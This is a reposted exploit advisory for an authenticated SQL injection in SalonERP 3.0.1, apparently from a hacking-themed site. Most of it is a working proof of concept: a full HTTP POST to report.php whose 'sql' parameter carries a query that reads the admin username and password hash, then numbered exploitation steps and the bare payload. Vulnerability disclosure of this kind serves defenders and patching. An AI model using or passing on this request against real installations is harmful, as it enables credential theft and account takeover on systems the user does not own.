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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: SalonERP 3.0.1 - 'sql' SQL Injection (Authenticated)
# Exploit Author: Betul Denizler
# Vendor Homepage: https://salonerp.sourceforge.io/
# Software Link: https://sourceforge.net/projects/salonerp/files/latest/download
# Version: SalonERP v3.0.1
# Tested on: Ubuntu Mate 20.04
# Vulnerable Parameter: sql
# Date: 11/01/2022
'''
DESCRIPTION
========
The vulnerability allows an attacker to inject payload using 'sql' parameter in sql query while generating report. Upon successful discovering the login admin password hash, it can be decrypted and obtained the plain-text password.


POC REQUEST:
========
POST /salonerp/report.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 755
Origin: http://127.0.0.1
Connection: close
Cookie: salonerp-id=vDF9uCpfqQAXuNhsCWvH; PHPSESSID=e170a8c9dfeef78751cb49b9977b2373
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

save=&title=bestCustomers&font=Times&fontSize=12&sql=SELECT%0A%09%09%09%09%09%09(select+concat(u.name%2C'+'%2Cu.password)+from+Models%5CUser+u+where+u.id+%3D+1)+AS+userpass%2C%0A%09%09%09%09%09%09COUNT(i.id)+AS+amount%2C%0A%09%09%09%09%09%09SUM(i.cash+%2B+i.bank)+as+revenue%0A%09%09%09%09%09FROM+Models%5CInvoice+i%0A%09%09%09%09%09JOIN+i.event+e%0A%09%09%09%09%09JOIN+e.customer+c%0A%09%09%09%09%09WHERE+DATE_DIFF(i.date%2C+%3AstartDate)+%3E%3D+0%0A%09%09%09%09%09AND+DATE_DIFF(i.date%2C+%3AendDate)+%3C%3D+0%0A%09%09%09%09%09GROUP+BY+e.customer%0A%09%09%09%09%09ORDER+BY+revenue+DESC&ask%5B0%5D%5Bname%5D=startDate&ask%5B0%5D%5Bvalue%5D=2021-12-14T00%3A00%3A00&ask%5B1%5D%5Bname%5D=endDate&ask%5B1%5D%5Bvalue%5D=2021-12-15T00%3A00%3A00&currency%5B%5D=2

EXPLOITATION
========
1. Create a database and login panel
2. Create employees in the settings
3. Create Products, Customers and Events
4. Pay for Products on Event
5. Create report on the "Reports" menu
6. Inject payload to the "sql" parameter in POST request for generate report

Payload: (select+concat(u.name,'+',u.password)+from+Models\User+u+where+u.id+=+1)+AS+userpass
'''